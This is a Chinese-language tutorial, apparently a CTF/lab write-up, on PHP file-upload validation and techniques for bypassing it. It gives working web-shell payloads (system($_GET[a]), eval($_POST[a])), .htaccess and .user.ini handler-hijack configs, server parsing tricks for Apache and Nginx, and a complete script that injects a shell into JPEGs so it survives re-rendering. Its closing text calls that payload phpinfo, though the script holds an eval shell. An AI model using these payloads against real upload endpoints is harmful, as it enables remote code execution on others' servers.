目录
一、常见文件上传校验姿势
1、前端客户端校验
2、后端服务端校验
content-type 校验
后端获取的 content-type 通常是请求头中的参数:
获取后判断是否为jpeg、png、gif 进行限制,这种方式也是很危险的可以通过修改请求头绕过。
getimagesize 校验
文件内容头校验
如果我们getimagesize传入的是一张图片就会返回以下的内容:
可以看到包含了图片的信息,但是如果传入的不是图片,而是一个文本,则会出现一下内容并返回一个布尔值false:
所以通过getimagesize只需要做一个简单的判断就可以对上传的文件进行限制
文件的后缀名校验:
后缀名主要有白名单和黑名单校验,使用白名单会更安全
黑名单示例代码如下:
deny_ext 是黑名单列表
file_name 获取的文件名
把获取到的文件名去和黑名单列表匹配,如果在的话就拒绝,如果不在的话就允许
这种它只限制了一些文件,我们可以通过上传配置文件来绕过
二、常见文件上传绕过姿势
前端客户端校验绕过
这是一个前端校验的例子
我们查看一下源码发现表单在被提交后触发了一个chekfile的函数校验:
chekfile函数的内容如下,会先获取upload_file的文件名,如果文件是空则提示需要上传的文件,allow_ext 定义了一个白名单然后就是获取文件后缀看看在不在白名单里面:
首先我们先准备一个eval.php文件,内容如下:
<?php
phpinfo();
?>
接着我们把后缀名改为eval.jpg ,然后在进行上传,因为后缀是jpg所以前端的校验就给绕过去:
抓个包,并把包里的文件名改为eval.php,这个时候释放包,就会发现文件成功上传到/upload/eval.php 的路径里面:
我们再访问一下,就成功的解析了:
content-type 校验绕过
我们接着用之前的 eval.php , 抓个包拦截一下查看一下 content-type 类型:
后端的校验就是判断 content-type 是不是图片类型:
把我们拦截到的包的类型改成图片的类型就可以了,比如说改成image/jpeg 我们再释放一下包就成功绕过了:
getimagesize 校验绕过
gif的文件头因为不需要用二进制编辑工具去修改内容,我们可以直接用记事本直接添加 gif89a 所以比较常用,下面我们再看到例题:
首先获取上传路径,再拼接文件名,获取一下文件信息,再判断后缀是否为jpg jpeg png z 再用getimagesize 判断一下是否为图片是图片就上传不是就不上传,我们只需要在文件头加上GIF89a就成功绕过上传成功:
特殊后缀名绕过
apache 配置的问题,上图的正则如果是上面列举的,就会用hadler去解析,这个正则是php3 php4 php5,我们直接上传一个php3试试,上传成功后就会解析成php:
上传配置文件绕过
.htaccess
比如上面的一个正则它会匹配后缀名为.aaa的文件 设置一个 php Handler 这样,所有为.aaa后缀的文件都会被php解析,我们看一到例题,分析源码发现文件的过滤规则是判断上传文件的后缀名是否在黑名单里面:
由于windows文件不能直接写 .htaccess 所以我们写成1.htaccess 用记事本打开并写入:
<FilesMatch ".+\.aaa$">
SetHandler application/x-httpd-php
</FilesMatch>
该代码的意思是匹配后缀为.aaa的文件解析为php,我们抓包之后上传把1去掉,就上传了.htaccess,代码里匹配的是.aaa后缀的文件,那么我们还需要上传一个.aaa后缀的文件,我们接着用eval.php 把后缀改为.aaa 成功上传后打开该文件就成功被解析执行了:
.user.ini
payload
auto_prepend_file=111.jpg #在文件的第一行包含111.jpg
auto_append_file=111.jpg #在文件的最后一行包含111.jpg
我们现在例题中尝试上传eval.php:
提示非法后缀,改成jpg试试:
显示有<?在我们上传的内容中,那么把<?都去掉试试:
提示不是图片,那么我们加上GIF89a试试:
成功上传,并且给我们返回了一个当前目录的列表,我们看到有index.php,我们就可以用.user.ini 来触发php文件,我们创建并往 .user.ini 写入以下代码,再上传到服务器上:
GIF89a
auto_prepend_file=111.jpg
我们再新建一个111.jpg,因为111.jpg是会被.user.ini包含到index.php运行之前先运行,相当于在index.php里的第一行写了一句include(‘111.jpg’)然后使用记事本打开写入以下代码并上传:
GIF89a
<script language="php">
system($_GET[a]);
</script>
上传后发现<?被过滤了,那么我们就只能换一个方式:
我们需要这么写,这样就可以绕过服务器的校验,然后再上传一下:
GIF89a
<script language="php">
system($_GET[a]);
</script>
我们接着访问index.php,往a里传参,就成功执行了payload:
大小写的绕过练习:
我们直接看例题,源码里面只对小写p和大写H进行了过滤,那么我们可以用phP这样的大小写顺序来绕过校验:
改好后缀直接上传,上传成功:
双写绕过
依然是一个黑名单,只不过它对黑名单中处理不再是直接拒绝,而是把黑名单中的后缀替换为空:
我们在php后缀中再写入一个php,那么当php被替换为空的时候那么后缀依旧是php:
二次渲染绕过
题目中在获取到文件后缀名后判断是否为jpg与文件类型是否为image类型, 同样的代码还有判断是否为png、gif,如果都不是则文件上传出错,它首先会把上传的文件移动到目标路径,然后用imagecreatefromjpeg去进行二次渲染,如果渲染失败的话就删除这个上传后的文件,如果成就生成一个随机文件名,然后在目标路径里生成二次渲染后的新文件,再删掉上传后的文件,那么我们服务器使用的是二次渲染后端 文件,之后就完成整个上传动作:
找出我们上传之前和渲染之后的共同点,之后我们可以在共同点里插入一些长度的代码,我们可以借助工具010 Editor 来进行比较,我们在打开软件后勾选下图的配置,就可以在滚动查看二进制代码的时候两个文件同步滚动:
我们需要注意的是下面的内容,不同点和相同点:
我们最好把下载后的图片再上传上去,然后再拿第一次下载的图片和二次上传再下载后的图片进行对比,因为它会在原始文件上加上了一些代码,所以会有一些偏差:
我们用第一次上传的图片和第二次上传的图片进行对比,这样的话格式就会相同,方便我们去比较,但是如果你想人工去更改的话,可能不会成功,所以我们可以用这样一个脚本:
<?php
$miniPayload = "<?php eval(\$_POST[a])?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
这段代码的作用就是把phpinfo插入到图片中,并使图片二次渲染后,依旧保留插入的代码,运行后我们再上传下载下来看看有没有phpinfo:
成功插入了payload
利用服务器特性进行绕过
Apache
name变量会将post发送的数据作为文件名,然后是黑名单,我们上传一个文件,然后抓包拦截一下,我们再eval.php后面加一个空格 方便我们等一下找20修改成0a:
我们把这里的20空格改成0a换行,然后上传就可以了:
我们打开文件看到成功解析,注意这里的文件名后缀需要加上%0A:
我们上传一个test.php
抓包后加上.jpg的后缀
文件成功上传,我们再打开:
它就会被解析为php:
Nginx
我们上传一个文件拦截一下,在文件名后面加上一个空格,放行后成功上传:
我们在文件名后面加上两个空格,其中一个20空格改成00:
再返回url那里,加上.php,就会被成功解析为php:
我们上传一个test.php,拦截包后修改后缀、content-type、记上文件头,成功上传:
我们访问文件时只需要在后面加上/.php 就能成功解析出来